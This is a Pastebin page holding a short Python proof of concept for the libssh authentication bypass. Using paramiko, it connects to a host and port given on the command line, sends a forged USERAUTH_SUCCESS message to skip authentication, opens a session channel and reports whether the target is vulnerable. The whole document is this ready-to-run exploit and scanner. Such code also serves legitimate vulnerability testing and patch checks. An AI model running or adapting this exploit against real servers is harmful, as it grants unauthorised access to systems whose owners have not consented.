Advertisement
drpanwe

libssh

Oct 20th, 2018
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.97 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # coding: utf-8
  3.  
  4. import paramiko
  5. import socket
  6. import sys
  7.  
  8. def poc(hostname="127.0.0.1", port=22):
  9.     paramiko.util.log_to_file("poc.log")
  10.  
  11.     sock = socket.socket()
  12.     sock.settimeout(1)
  13.     try:
  14.         sock.connect((hostname, port))
  15.  
  16.         # instantiate transport
  17.         m = paramiko.message.Message()
  18.         transport = paramiko.transport.Transport(sock)
  19.         transport.start_client()
  20.  
  21.         m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
  22.         transport._send_message(m)
  23.  
  24.         cmd_channel = transport.open_session(timeout=1)
  25.  
  26.     except socket.error as e:
  27.         print("%s %d connection failed: %s" % (hostname, port, e.message))
  28.         return 254
  29.  
  30.     except Exception as e:
  31.         print("%s %d probably not vulnerable: %s" % (hostname, port, e.message))
  32.         return 1
  33.  
  34.     print("%s %d vulnerable" % (hostname, port))
  35.     return 0
  36.  
  37.  
  38. if __name__ == "__main__":
  39.   exit(poc(sys.argv[1], int(sys.argv[2])))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement